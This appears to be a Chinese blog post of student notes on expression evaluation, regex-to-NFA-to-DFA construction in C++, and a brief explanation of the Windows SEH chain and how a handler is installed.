词法分析

Posted on 2022-10-17 Edited on 2022-11-15

词法分析器

词法分析先修-表达式求值

求一个包含加减乘除乘方括号的表达式值,要求考虑运算优先级

比如1+2*3-(4+5)*6

迪杰斯特拉双栈法

双栈,一个用于存放操作数stack<double> operands,一个用于存放运算符stack<char> operaotors

运算优先级通过给每个运算符定义栈内外优先级来体现:

教材给出的优先级定义是:

icp,栈外优先级

isp,栈内优先级

优先级	(	+-	*/	)
栈内优先级isp	1	3	5	8
栈外优先级icp	8	2	4	1

双栈算法

对于一个操作数,直接压入operands栈

对于一个运算符c,

1.如果其栈外优先级比符号栈栈顶运算符的栈内优先级要高,则c入符号栈,即

1
2
3

if(operators.empty()||icp(c)>isp(operators.top())){
    operators.push(c);
}

2.如果其栈外优先级比符号栈栈顶优先级低,则首先要符号栈弹栈,每次弹出一个符号,顺带弹出两个操作数栈的数,根据该符号对这两个操作数进行运算之后将运算结果重新压入操作数栈.如此直到符号栈顶的栈内优先级小于c的栈外优先级时,c压栈

if(!operators.empty()&&icp(c)<isp(operators.top())){
	while(!operators.empty()&&icp(c)<isp(operators.top())){
        op=operators.top();
        operators.pop();
		if(operands.size()>=2){
			first=operands.top();
			operands.pop();
			second=operands.top();
			operands.pop();
            operands.push(basic_operate(op,first,second));
		}
		else error
	}
    if(operators.empty()||icp(c)>isp(operators.top())){
        operators.push(c);
    }
    else{//icp(c)==isp(operators.top())的情况,见3
        operators.pop();
    }
}

3.如果符号栈顶的栈内优先级等于c的栈外优先级,直接符号栈退栈一个,c也一并扔掉.

如果2中发生了符号栈退栈到某时,符号栈顶的栈内优先级等于c的栈外优先级,也是将栈顶和c都扬了

这是因为遇到了括号

1
2
3

if(icp(c)==isp(operators.top())){
	operators.pop()
}

完整代码

#include <iostream>
#include <stack>
#include <algorithm>
#include <string>
#include <vector>
using namespace std;


// string expression;
// int pos;
int Invalid;//失效标志


int icp(const char &c){//栈外优先级
    int priority=0;
    switch(c){
        case '+':case '-':
            priority=2;
            break;
        case '*':case '/':
            priority=4;
            break;        
        case ')':
            priority=1;
            break;
        case '(':
            priority=8;
    }
    return priority;
}
int isp(const char &c){//栈内优先级
    int priority=0;
    switch(c){
        case '+':case '-':
            priority=3;
            break;
        case '*':case '/':
            priority=5;
            break;        
        case ')':
            priority=8;
            break;
        case '(':
            priority=1;
    }
    return priority;
}

stack<char> operators;//操作数栈
stack<double> operands;//运算符栈
double basic_operate(const char &op,const double &first,const double &second){//根据op运算符计算first op second的值
    double result=0;
    switch(op){
        case '+':
            result=first+second;
            break;
        case '-':
            result=first-second;
            break;
        case '*':
            result=first*second;
            break;
        case '/':
            result=first/second;
            break;
    }
    return result;
}

string removeBlank(const string &str){//删除str中的空格
    string exp;
    for(auto c:str){
        if(c!=' '){
            exp+=c;
        }
    }
    return exp;
}


bool isDigit(const char &c){//判断是否为数字
    return c>='0'&&c<='9'||c=='.';
}

bool isValidOperator(const char &c){//c是否为合法运算符
    switch(c){
        case '+':case '-':case '*':case '/': case '(':case ')':
            return true;
    }
    return false;
}


bool canPushOperator(const char &c){//判断是否可以压符号栈
    if(operators.empty()||icp(c)>isp(operators.top())){
        return true;
    }
    return false;
}

bool matchBracket(const char &c){//判断是否匹配括号
    return !operators.empty()&&isp(operators.top())==icp(c);
}

bool getTwoOperands(double &first,double &second){//取得操作数栈顶两个
    if(operands.size()<2){
        Invalid=1;
        return false;
    }
    first=operands.top();
    operands.pop();
    second=operands.top();
    operands.pop();
    return true;
}



double aftermath(){//扫描完毕,处理后事
    double first,second;
    char op;
    while(!operators.empty()){//每次弹一个符号,两个数,计算之后结果再压回操作数栈
        op=operators.top();
        operators.pop();
        if(!getTwoOperands(first,second)){
            Invalid=1;
            return 0;
        }
        operands.push(basic_operate(op,first,second));
    }
    return operands.top();//到最后如果无误,符号栈应该弹空,操作数只剩一个栈顶,就是最终结果

}

void error(const string &err){
    cerr<<"error:"<<err<<endl;
}
double evalExpression(const string &expression){
    string buffer;//操作数转换缓冲区
    double digit;
    bool digit_flag=0;//连续取操作数开关
    double first,second;
    char op;
    double result;
    int length=expression.length();
    char c;
    for(int i=0;i<length;++i){
        c=expression[i];
        if(isDigit(c)){
            if(digit_flag==false){
                digit_flag=true;
                buffer=c;
            }
            else buffer+=c;
            cout<<"actived"<<endl;
            continue;
        }
        else if(!isValidOperator(c)){
            error("inValidOperator");
            Invalid=1;
            return 0;
        }
        if(digit_flag==true){
            digit_flag=false;
            digit=stod(buffer);
            operands.push(digit);
            buffer="";
        }
        if(canPushOperator(c)){
            operators.push(c);
        }
        else if(matchBracket(c)){
            operators.pop();
        }
        else{
            op=operators.top();
            operators.pop();
            if(!getTwoOperands(first,second)){
                error("lack of operands");
                return -1;
            }
            operands.push(basic_operate(op,first,second));
            --i;//回溯,c重新与符号栈顶进行比较
        }


    }
    //扫描完毕,但是如果最后是一个操作数,它此时还留在buffer缓冲区中,需要压栈
    if(digit_flag==true){
        digit=stod(buffer);
        operands.push(digit);
        digit_flag=false;
        buffer="";
    }
    
    result=aftermath();//处理后事,重要
    if(Invalid){
        return -1;
    }
    return result;
}

double calc(const string &str){
    string expression=removeBlank(str);
    cout<<expression<<endl;
    double result=evalExpression(expression);
    return result;
}


int main(){
    string text="1+2*3*4+(1+2)*3";
    double result=calc(text);
    cout<<result;
    return 0;
}

递归下降算法

三个函数,分成三层

最高层,将整个表达式看成若干项的和差,维护一个result,从左到右累加各项的和差.每一项都要扔给中间层函数进行计算

中间层,将最高层给的每一项都视为一个积式,维护一个result,从左到右累乘各项的积商.每一项都要扔给底层函数进行计算

最底层,将中间层给的每一项都视为一个数或者一个括号.根据是否有左括号进行区分.对于数就字符串转数然后返回了,对于括号则将括号里的表达式视为一个顶层和差式,扔给最高层

比如expression=1+(2+3)*4-5

最高层evalExpression会将这个表达式拆分成若干term的积
1
2
3
4
5
evalExpression(expression):
	return evalTerm(term1)+evalTerm(term2)-evalTerm(term3)
    	//term1=1
    	//term2=(2+3)*4
    	//term3=5
然后每个term都会往下扔,甩锅给中层函数evalTerm,其中term2具有代表性
1
2
3
4
evalTerm(term2):
	return evalFactor(factor1)*evalFactor(factor2)
	//factor1=(2+3)
	//factor2=4
然后每个factor又会往下扔
1
2
3
4
evalFactor((2+3)):
	return evalExpression(2+3)//我的天呐,底层工具人儿也有指使顶层人上人儿的一天?
evalFactor(4):
	return 4
底层工具人儿evalFactor算完了中层工具人儿evalTerm的任务之后,把值交给中层工具人儿
1
2
evalTerm(term2):
	return 5*4
中层工具人儿evalTerm算完了之后把值交给顶层人上人儿evalExpression
1
2
evalExpression(expression):
	return 1+20-5
如此整个表达式就求完了

完整程序

#include <iostream>
#include <algorithm>
#include <string>
using namespace std;
int Invalid;//模块全局变量,失效标记,进行新的计算之前首先应该检查是否失效,失效则可以偷懒了
int pos;//expression[pos],当前扫描位置,实时后移
string expression;//表达式

///递归下降求解表达式

double calc();//计算器
double evalExpression();//将str视为若干项的和差
double evalTerm();//将str视为若干项的积商
double evalFactor();//将str视为单个项或者一个括号表达式
string removeBlank(const string &str);//去除输入表达式中的空格

bool isEnd(){//检查是否扫描完毕
    return expression[pos]=='\0';
}

bool isAdd(const char &c){
    return c=='+';
}
bool isMinus(const char &c){
    return c=='-';
}
bool isLevel1(const char &c){//是否是顶层人上人儿的工作
    return isAdd(c)||isMinus(c);
}


bool isMultiply(const char &c){
    return c=='*';
}
bool isDivide(const char &c){
    return c=='/';
}
bool isLevel2(const char &c){//是否是中层工具人儿的工作
    return isDivide(c)||isMultiply(c);
}

bool isLeftBracket(const char &c){
    return c=='(';
}
bool isRightBracket(const char &c){
    return c==')';
}
bool isDigit(const char &c){
    return c>='0'&&c<='9';
}
bool isDot(const char &c){
    return c=='.';
}


string removeBlank(const string &str){//去除str中的空格
    string expression;
    for(auto c:str){
        if(c!=' '){//排除空格
            expression+=c;
        }
    }
    return expression;
}

double calc(const string &str){
    pos=0;//复位
    Invalid=0;
    expression=removeBlank(str);
    double result=evalExpression();
    return result;
}
double evalExpression(){//顶层人上人儿
    double result=0;//累加和
    double term;//term表示一个"加数"
    char op;//存放一个运算符
    
    term=evalTerm();//最左边应该是一个值,不应该是一个运算符(负号也算是数的一部分)
    if(Invalid){//检查evalTerm函数是否报错
        return 0;
    }
    result+=term;//如果没有报错就可以累加了
    while(!isEnd()){//从左向右扫描,最宽泛的停止范围就是扫描到头了
        op=expression[pos];

        if(!isLevel1(op)){//如果将各项都视为因数之后,还是遇到了非顶层运算符,比如括号,就应该返回结果了
            return result;
        }
        ++pos;//执行到此说明op是顶层的运算符,即加或者减法
        term=evalTerm();//pos后移越过了op,下一个理论上就应该是一个和式
        if(Invalid){//检查evalTerm是否有效
            return 0;
        }
        if(isAdd(op)){//根据op是加或者减决定刚算出的term如何累计到result上
            result+=term;
        }
        else if(isMinus(op)){
            result-=term;
        }

    }
    return result;
}
double evalTerm(){//中层工具人儿,逻辑与evalExpression几乎相同
    double result=1;
    double factor;
    char op;

    factor=evalFactor();
    if(Invalid){
        return 0;
    }
    result*=factor;
    while(!isEnd()){
        op=expression[pos];
        if(!isLevel2(op)){
            return result;
        }
        ++pos;
        factor=evalFactor();
        if(Invalid){
            return 0;
        }
        if(isMultiply(op)){
            result*=factor;
        }
        else if(isDivide(op)){
            result/=factor;
        }
    }
    return result;
}
double evalFactor(){//底层工具人儿
    double result=0;
    string buffer;
    bool isNegetive=0;//负数标志

    if(expression[pos]=='-'){//首先检查是不是负数,
        isNegetive=true;//命中负号,isNegetive支起来
        ++pos;//
    }
    if(isLeftBracket(expression[pos])){//遭遇括号,括号里面的视为表达式扔给顶层
        ++pos;
        result=evalExpression();
        if(!isRightBracket(expression[pos])){//顶层很自觉,只会处理加减式子,遇到右括号就会甩锅给中层,
        //中层也处理不了右括号,甩锅给下层,而下层正好在这里等着右括号呢
        //如果底层命中右括号则没有错误,否则就说明从顶层到中层到底层下来的这个符号是个外星人,不熟,发生错误
            Invalid=1;
            return 0;
        }
        ++pos;//到此说明右括号命中,pos++越过了右括号
        return result;//必须立刻返回,因为底层的任务就是计算一个值,括号里的表达式的值算完了就应该返回了
    }
    //执行到此说明不是括号表达式,是纯数,纯数只需要从字符串提取成整数然后上交
    while(isDigit(expression[pos])){
        buffer+=expression[pos];
        ++pos;
    }
    
    result=stod(buffer);
    if(isNegetive){//一开始的时候激活了负数标记,此时就应该给result上负号
        result*=-1;
    }
    return result;
}


string text;
double result;
int main(){
    text="1+2*3+(4+5)*6";
    cout<<calc(text)<<endl;
    return 0;
}

项目结构

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/parser/parser]
└─# tree
.
├── ds
│   ├── Graph.cpp
│   ├── Graph.h
│   ├── Hash.cpp
│   ├── Hash.h
│   ├── Tree.cpp
│   ├── Tree.h
│   ├── Trie.cpp
│   └── Trie.h
├── e2t
│   ├── e2t.cpp
│   └── e2t.h
├── main
├── main.cpp
├── main.exe
├── make.bat
├── make.sh
├── n2d
│   ├── DFA.cpp
│   ├── DFA.H
│   ├── DFA.md
│   ├── epsilon.cpp
│   ├── n2d.cpp
│   └── n2d.h
├── objects
│   ├── AC.o
│   ├── e2t.o
│   ├── Graph.o
│   ├── t2n.o
│   ├── Tree.o
│   └── Trie.o
├── README.md
├── swj.cpp
└── t2n
    ├── t2n.cpp
    └── t2n.h

采用管道过滤器模式

ds包括二叉树,图等基础数据结构,用作基类

e2t模块构建表达式树,该模块接收一个string类型,输出一个Tree类型

t2n模块构建NFA,该模块接收一个Tree类型,输出一个NFA类型

n2d模块构建DFA(正在此处),该模块接收一个NFA,输出一个DFA

DFA最小化(未完成),该模块接收一个DFA,输出一个最小化DFA

main.cpp是入口点

make.sh和make.bat为编译链接脚本,目前还不会使用makefile

ds

二叉树

Tree.h

#pragma once
#include <iostream>
// #include <string>
struct TreeNode
{
    char op;
    TreeNode *left, *right;
    bool isCharacter();
    char getOp();
    // TreeNode(char );
    TreeNode(char c = '\0', TreeNode *l = NULL, TreeNode *r = NULL) ;
    // TreeNode(char ,TreeNode *,TreeNode *);
    friend std::ostream &operator<<(std::ostream &, const TreeNode &);
};

struct Tree
{
public:
    TreeNode *root;
    void inOrder(TreeNode *);
    void postOrder(TreeNode *);

public:
    Tree(TreeNode *o=NULL);
    void inOrder();
    void postOrder();
};

Tree.cpp

#include <iostream>
#include "Tree.h"
using namespace std;
TreeNode::TreeNode(char c, TreeNode *l, TreeNode *r) : op(c), left(l), right(r) {}
bool TreeNode::isCharacter(){
    return left==NULL&&right==NULL;
}
char TreeNode::getOp(){
    return op;
}

ostream &operator<<(ostream &os, const TreeNode &o)
{
    os << o.op;
    return os;
}

void Tree::inOrder(TreeNode *o)
{
    if (o == NULL)
        return;
    inOrder(o->left);
    cout << (*o) << " ";
    inOrder(o->right);
}
void Tree::postOrder(TreeNode *o)
{
    if (o == NULL)
        return;
    postOrder(o->left);
    postOrder(o->right);
    cout << (*o) << " ";
}

Tree::Tree(TreeNode *o ) : root(o) {}
void Tree::inOrder()
{
    inOrder(root);
    cout << endl;
}

void Tree::postOrder()
{
    postOrder(root);
    cout << endl;
}

有向图

Graph.h

#pragma once
#include <iostream>
#include <vector>
#define maxn 100000
struct GraphEdge{
    int from;
    int to;
    char character;
    GraphEdge(int,int,char);
    void setValue(int,int,char);
    int getTo();
    friend std::ostream &operator<<(std::ostream &,const GraphEdge&);
    char getCharacter();
};

struct GraphNode{
    // int id;
    bool isEnd;
    std::vector<int> postEdges;
    void addEdge(const int &);
    GraphNode();
    bool end();
    friend std::ostream &operator<<(std::ostream &,const GraphNode&);
};

struct Graph{
    GraphEdge edges[maxn];
    GraphNode nodes[maxn];
    int cnt_edges;
    int cnt_nodes;
    // std::vector<GraphEdge> edges;
    // std::vector<GraphNode> nodes;

    int start;
    int finish;
    Graph();

    int newEdge(const int &f,const int &t,const char &c);
    int newNode();
    void info();
};

Graph.cpp

#include <iostream>
#include <vector>
#include <algorithm>
#include "Graph.h"
using namespace std;
/// @brief GraphEdge构造函数
/// @param f from,起点
/// @param t to,终点
/// @param c character,本边上的字符
GraphEdge::GraphEdge(int f=0,int t=0,char c='\0'){
    from=f;
    to=t;
    character=c;
}


void GraphEdge::setValue(int f=0,int t=0,char c='\0'){
    from=f;
    to=t;
    character=c;
}


int GraphEdge::getTo(){
    return to;
}
char GraphEdge::getCharacter(){
    return character;
}
ostream &operator<<(ostream &os,const GraphEdge &edge){
    if(edge.character=='\0'){
        os<<edge.from<<"---->"<<edge.to;
    }
    else 
        os<<edge.from<<"--\""<<edge.character<<"\"-->"<<edge.to;
    return os;
}

GraphNode::GraphNode(){ 
    isEnd=false;
}

void GraphNode::addEdge(const int &e){
    
    postEdges.push_back(e);
}
bool GraphNode::end(){
    return isEnd;
}



ostream &operator<<(ostream &os,const GraphNode &node){//stub
    os<<"node";
    return os;
}

Graph::Graph(){
    start=finish=0;
    cnt_edges=cnt_nodes=0;
}
int Graph::newEdge(const int &f,const int &t,const char &c){
    ++cnt_edges;
    edges[cnt_edges].setValue(f,t,c);
    return cnt_edges;
}
int Graph::newNode(){
    ++cnt_nodes;
    return cnt_nodes;
}


void Graph::info(){
    for(int i=1;i<=cnt_nodes;++i){
        cout<<i<<"(("<<i<<"))"<<endl;
    }
    for(int i=1;i<=cnt_edges;++i){
        cout<<edges[i]<<endl;
    }
}

e2t

expression to tree

给定一个正规式,构造其表达式树

正规式中包含操作数都是单个字母,运算符有:

运算符	符号	优先级
括号	`()`	最高
闭包	`*`	次高
连接	`.`	次低
或	`\|`	最低

都是左结合运算,其中

连接,或,都是二元运算符

星闭包是一元运算符,操作数在左

比如a|(b.c)*|d.e对应的表达式树就是:

1	D:\XDcompAT>run-compat.bat RE-TREE "a\|(bc)*\|de" -g

右边这个图,每个节点最多往下分两个叉,因此可以用二叉树实现,只有闭包运算这里是只有一个儿子的,可以作为二叉树节点的左儿子,右儿子为空

e2t.h

#pragma once
#include "../ds/Tree.h"
//以下函数都是测试字符性质
bool isOr(const char &);
bool isJoin(const char &);
bool isClosure(const char &);
bool isLeftBracket(const char &);
bool isRightBracket(const char &);
bool isEnd();
char getCurrentOperator();
bool isAlpha(const char &);
bool isCharacter(const char &);
bool isNull(const char &);
bool isSpace(const char &);
TreeNode *evalOr();
TreeNode *evalJoin();
TreeNode *evalClosure();
Tree getTree(const std::string &);

e2t.cpp

#include <iostream>
#include <algorithm>
#include <string>
#include <vector>
#include <cmath>
#include "../ds/Tree.h"
#include "e2t.h"
using namespace std;
//模块全局变量,用于多个函数之间通信
static string expression;
static int pos;
static int Invalid;
// TreeNode和Tree为二叉树数据结构

//以下函数都是测试字符性质
bool isOr(const char &c)
{
    return c == '|';
}
bool isJoin(const char &c)
{
    return c == '.';
}
bool isClosure(const char &c)
{
    return c == '*';
}
bool isLeftBracket(const char &c)
{
    return c == '(';
}
bool isRightBracket(const char &c)
{
    return c == ')';
}
bool isEnd()
{
    return expression[pos] == '\0';
}
char getCurrentOperator()
{
    return expression[pos];
}
bool isAlpha(const char &c)
{
    if (c >= 'a' && c <= 'z')
        return true;
    if (c >= 'A' && c <= 'Z')
        return true;
    return false;
}
bool isCharacter(const char &c){
    if(isAlpha(c))return true;
    return c!='.'&&c!='|'&&c!='('&&c!=')'&&c!='*';
}
bool isNull(const char &c){
    return c=='\0';
}
bool isSpace(const char &c)
{
    return c == ' ';
}

Tree getTree(const string &str) //传递一个str表达式,构建一个语法树并返回相应二叉树实例
{                               //消除空格,添加点号
    string exp;
    string removeSpace = "";
    for (auto c : str)
    {
        if (isSpace(c))
            continue;
        removeSpace += c;
    }
    int length = removeSpace.length();
    for (int i = 0; i < length; ++i)
    {
        if (isAlpha(removeSpace[i]) && i > 0 && isAlpha(removeSpace[i - 1]))
        {
            exp += '.';
        }
        exp += removeSpace[i];
    }
    expression = exp;
    Invalid = 0;
    pos = 0;
    return Tree(evalOr());
}

TreeNode *evalOr() //顶层函数,将表达式视为若干项目的或
{
    TreeNode *joinTerm = NULL;
    TreeNode *root = NULL;
    TreeNode *assist = NULL;
    char op = '\0';

    joinTerm = evalJoin();
    if (Invalid)
    {
        return NULL;
    }
    root = joinTerm;
    while (!isEnd())
    {
        op = getCurrentOperator();
        if (!isOr(op))
        {
            return root;
        }
        ++pos;
        joinTerm = evalJoin();
        if (Invalid)
        {
            return NULL;
        }
        assist = root;
        root = new TreeNode(op, assist, joinTerm);
    }
    return root;
}

TreeNode *evalJoin() //二层函数,将局部表达式视为若干项目的连接
{
    TreeNode *clousureTerm = NULL;
    TreeNode *root = NULL;
    TreeNode *assist = NULL;
    char op = '\0';

    clousureTerm = evalClosure();
    if (Invalid)
    {
        return NULL;
    }
    root = clousureTerm;
    while (!isEnd())
    {
        op = getCurrentOperator();
        if (!isJoin(op))
        {
            return root;
        }
        ++pos;
        clousureTerm = evalClosure();
        if (Invalid)
        {
            return NULL;
        }
        assist = root;
        root = new TreeNode(op, assist, clousureTerm);
    }
    return root;
}

TreeNode *evalClosure() //底层函数,将局部表达式视为括号或者树,并且判断是否有星闭包
{
    TreeNode *joinTerm;
    TreeNode *singleTerm;
    TreeNode *root;
    TreeNode *assist;
    char op;

    op = getCurrentOperator();
    if (isLeftBracket(op))
    {
        ++pos;
        joinTerm = evalOr();
        op = getCurrentOperator();
        if (!isRightBracket(op))
        {
            Invalid = 1;
            return NULL;
        }
        root = joinTerm;
        ++pos;
    }
    else
    {
        singleTerm = new TreeNode(op);
        ++pos;
        root = singleTerm;
    }
    op = getCurrentOperator();
    if (!isClosure(op))
    {
        return root;
    }
    ++pos; //越过闭包星号
    assist = root;
    root = new TreeNode(op, assist);
    return root;
}



//测试存根
// int main()
// {
//     string exp = "a  |(b.  c)*|d e";//测试正规式子
//     Tree tree = getTree(exp);//
//     tree.postOrder();
//     tree.inOrder();

//     return 0;
// }

编译运行

1 2	a b c . * \| d e . \| #后根遍历 a \| b . c * \| d . e #中根遍历

与教具给出的二叉树图是一样的

t2n

tree to nfa

NFA是一个有向图,可以以Graph为基类

t2n.h

#pragma once
#include <vector>
#include <iostream>
#include <utility>
#include "../ds/Graph.h"
#include "../ds/Tree.h"
typedef std::pair<int,int> handle;
struct NFA:public Graph{
    std::string toJudge;
    int tot_length;
    int start;
    int finish;

    NFA(Tree &);
    handle subNFA(TreeNode *);
    bool backtracing_judge(const std::string &expression);
    bool backtracing_judge(int current_node,int current_index);
    std::vector<int> getEpsilon(std::vector<int> T);
    std::vector<int> smove(std::vector<int> S,char character);
    bool no_backtracing_judge(const std::string &str);
};

t2n.cpp

主要逻辑,就是一共getNFA递归函数,使用了汤普森算法

该函数接收一个语法树根,根据该根节点中的符号指示,决定如何建立子图,返回当前子图

#include <iostream>
#include <algorithm>
#include <string>
#include <vector>
#include <cmath>
#include <utility>
#include <stack>
#include <cstring>
#include <cstdio>
#include <cstdlib>
#include "../e2t/e2t.h"
#include "t2n.h"
using namespace std;

// #define start(handle) (handle.first)

NFA::NFA(Tree &tree)
{
    handle p = subNFA(tree.root);
    start = p.first;
    finish = p.second;
}
handle NFA::subNFA(TreeNode *o)
{
    int sta = 0;
    int fin = 0;
    char op = o->getOp();
    if (isCharacter(op) || isNull(op))
    {
        sta = newNode();
        fin = newNode();
        nodes[sta].addEdge(newEdge(sta, fin, op));
    }
    else if (isOr(op))
    {
        sta = newNode();
        handle left = subNFA(o->left);
        handle right = subNFA(o->right);
        fin = newNode();
        nodes[sta].addEdge(newEdge(sta, left.first, '\0'));
        nodes[sta].addEdge(newEdge(sta, right.first, '\0'));
        nodes[right.second].addEdge(newEdge(right.second, fin, '\0'));
        nodes[left.second].addEdge(newEdge(left.second, fin, '\0'));
    }
    else if (isJoin(op))
    {
        handle left = subNFA(o->left);
        --cnt_nodes;
        handle right = subNFA(o->right);
        sta = left.first;
        fin = right.second;
        // nodes[left.second].addEdge(newEdge(left.second,right.first,'\0'));
    }
    else if (isClosure(op))
    {
        sta = newNode();
        handle sub = subNFA(o->left);
        fin = newNode();
        nodes[sta].addEdge(newEdge(sta, sub.first, '\0'));
        nodes[sta].addEdge(newEdge(sta, fin, '\0'));
        nodes[sub.second].addEdge(newEdge(sub.second, sub.first, '\0'));
        nodes[sub.second].addEdge(newEdge(sub.second, fin, '\0'));
    }
    else
    {
        cout << "invalid operator" << endl;
    }
    return handle(sta, fin);
}

bool NFA::backtracing_judge(const string &expression)
{
    toJudge = expression;
    tot_length = toJudge.length();
    return backtracing_judge(start,0);
}
bool NFA::backtracing_judge(int current_node, int current_index)
{   
    char c;
    bool flag;
    GraphNode &node=nodes[current_node];

    if(current_index==tot_length){
        if(current_node==finish){
            return true;
        }
        for(auto e:node.postEdges){
            GraphEdge &edge=edges[e];
            c=edge.getCharacter();
            if(c=='\0'){
                flag=backtracing_judge(edge.to,current_index);
            }
            if(flag)return true;
        }
        return false;
    }

    for (auto e : node.postEdges)
    {
        GraphEdge &edge = edges[e];
        c = edge.getCharacter();
        if (c == '\0')
        {
            flag = backtracing_judge(edge.to, current_index);
        }
        if (flag)
            return true;
        if (c == toJudge[current_index])
        {
            flag = backtracing_judge(edge.to, current_index + 1);
        }
        if (flag)
            return true;
    }
    return false;
}


std::vector<int> NFA::getEpsilon(std::vector<int> T){
    stack<int> s;
    bool visited[maxn];
    std::vector<int> epsilon;
    memset(visited,false,sizeof(visited));
    int current_index;
    int next_index;
    for(auto u:T){
        if(visited[u]==false){
            visited[u]=true;
            s.push(u);
        }
    }
    while(!s.empty()){
        current_index=s.top();
        s.pop();
        epsilon.push_back(current_index);
        for(auto e:nodes[current_index].postEdges){
            GraphEdge &edge=edges[e];
            if(edge.getCharacter()=='\0'){
                next_index=edge.getTo();
                if(visited[next_index]==false){
                    visited[next_index]=true;
                    s.push(next_index);
                }
            }
        }
    }
    return epsilon;

}

//从S集合开始,经过character字符能够转移到的状态集合
std::vector<int> NFA::smove(std::vector<int> S,char character){
    std::vector<int> result;
    bool visited[maxn];
    memset(visited,0,sizeof(visited));
    int next_index;
    for(auto current_index:S){
        GraphNode &node=nodes[current_index];
        for(auto e:node.postEdges){
            GraphEdge &edge=edges[e];
            next_index=edge.getTo();
            if(edge.getCharacter()==character&&visited[next_index]==false){
                visited[next_index]=true;
                result.push_back(next_index);
            }
        }
    }


    return result;
}

bool NFA::no_backtracing_judge(const std::string &str){
    std::vector<int> S=getEpsilon({start});
    for(auto c:str){
        S=getEpsilon(smove(S,c));
    }
    return find(S.begin(),S.end(),finish)!=S.end();
}

验证

为了验证算法正确性,info函数会根据mermaid graph图的语法打印,结果贴到typora mermaid代码块中即可可视化

输入的表达式是(a|b)*.a.b.b,

程序的运行结果是

a b | * a . b . b . 
cnt_edges=13
1((1))
2((2))
3((3))
4((4))
5((5))
6((6))
7((7))
8((8))
9((9))
10((10))
11((11))

3--a-->4
5--b-->6
2---->3
2---->5
4---->7
6---->7
1---->2
1---->8
7---->2
7---->8
8--a-->9
9--b-->10
10--b-->11

把其中的mermaid语法抠出来乎到typora mermaid代码块中得到

graph LR
    1((1))
    2((2))
    3((3))
    4((4))
    5((5))
    6((6))
    7((7))
    8((8))
    9((9))
    10((10))
    11((11))

    3--a-->4
    5--b-->6
    2---->3
    2---->5
    4---->7
    6---->7
    1---->2
    1---->8
    7---->2
    7---->8
    8--a-->9
    9--b-->10
    10--b-->11

教材上给出的NFA图是

我从1开始给节点编号,教材从0开始给节点编号

显然结构是相同的

n2d

DFA中的每个节点都是NFA的状态集合,但是DFA建立之后就不需要NFA的状态了

只需要维护边上的字符

使用map判定一个状态集合是否已经存在过

DFA.h

#pragma once
#include <vector>
#include <string>
#include <map>
#include "Graph.h"
#include "NFA.h"

struct DFA:public Graph{
    NFA &nfa;
    
    DFA(NFA &n);

    friend std::ostream &operator<<(std::ostream &os,DFA &dfa);
};

DFA.cpp

#include <vector>
#include <map>
#include <string>
#include <queue>
#include <vector>
#include <utility>
#include "DFA.h"
#include "NFA.h"

typedef std::pair<std::vector<HNODE>,HNODE> Record;
DFA::DFA(NFA &n):nfa(n){
    newNode(GraphNode());
    std::map<std::vector<HNODE>,HNODE> table;
    std::queue<std::vector<HNODE> > q;
    HNODE hNode_current;
    HNODE hNode_next;

    std::vector<HNODE> current_statements=nfa.getEpsilon({nfa.hNode_start});
    hNode_current=newNode(GraphNode());
    std::vector<HNODE> next_statments;
    table.insert(Record(current_statements,hNode_current));
    q.push(current_statements);
    while(!q.empty()){
        current_statements=q.front();
        q.pop();
        hNode_current=table[current_statements];
        
        for(char c='a';c<='z';++c){
            next_statments=nfa.getEpsilon(nfa.smove(current_statements,c));
            if(next_statments.empty())continue;
            if(table.find(next_statments)==table.end()){
                hNode_next=newNode(GraphNode());
                table.insert(Record(next_statments,hNode_next));
                q.push(next_statments);
            }
            else{
                hNode_next=table[next_statments];
            }
            nodes[hNode_current].addEdge(newEdge(GraphEdge(hNode_current,hNode_next,c)));
        }
    }
}



std::ostream &operator<<(std::ostream &os,DFA &dfa){
    for(HNODE hNode=1;hNode<dfa.nodes.size();hNode++){
        os<<hNode<<"(("<<hNode<<"))"<<std::endl;
    }
    for(auto edge:dfa.edges){
        os<<edge<<std::endl;
    }
    return os;
}

验证

DFA最小化

SEH

windows异常处理程序,存储在栈中

SEH链

SEH链实际上就是一个链表,其基本单位是一个个的节点

每个节点都是由一个后向指针(指针域)和一个函数指针(值域)组成

typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;//指向下一个节点
    PEXCEPTION_ROUTINE Handler;//指向函数
} EXCEPTION_REGISTRATION_RECORD;

Next不必多说,Handler是一个有固定格式的函数,其函数接口长这样

EXCEPTION_DISPOSITION myHandler(//返回值为枚举类型,表明本函数处理结束后程序的走向
    EXCEPTION_RECORD *pRecord,
    EXCEPTION_REGISTRATION_RECORD *pFrame,
    PCONTEXT Context,//线程上下文,包括各种寄存器值
    PVOID pValue,
);

这四个参数会由OS传给异常处理函数

typedef struct _EXCEPTION_RECORD {
    DWORD    ExceptionCode;//异常编号
    DWORD ExceptionFlags;//异常标志
    struct _EXCEPTION_RECORD *ExceptionRecord;//
    PVOID ExceptionAddress;//异常发生地址
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

返回值是一个枚举类型,在excpt.h中可以找到其定义

// Exception disposition return values
typedef enum _EXCEPTION_DISPOSITION
{
    ExceptionContinueExecution,//继续执行异常代码
    ExceptionContinueSearch,//执行seh链上下一个异常处理
    ExceptionNestedException,//OS内部使用
    ExceptionCollidedUnwind//OS内部使用
} EXCEPTION_DISPOSITION;

SEH链画在图上相当于

最后一个节点的next指向FFFFFFFF,即-1,表明SEH链结束

访问进程SEH链

TEB+0x00存放的是NtTib结构体基地址

这个NtTib长啥样呢?

typedef struct _NT_TIB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;//seh链表头
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
#if defined(_MSC_EXTENSIONS)
    union {
        PVOID FiberData;
        DWORD Version;
    };
#else
    PVOID FiberData;
#endif
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;
} NT_TIB;
typedef NT_TIB *PNT_TIB;

NtTib在TEB的0偏移位置,ExceptionList在NtTib的偏移位置,FS段选择子指向TEB描述符,因此

FS:[0]=TEB=TEB.NtTib=TEB.NtTib.ExceptionList

如此就可以访问SEH链表了,这里ExceptionList相当于一个附加头节点

安装SEH节点

c语言中使用__try,__except,__finally关键字

汇编语言中只需要将SEH节点头插进入SEH节点就可以了

1
2
3

PUSH &myHandler	;seh节点的函数地址压栈
PUSH DWORD PTR FS:[0] ;seh节点的后向指针压栈,头插法采用原来的头
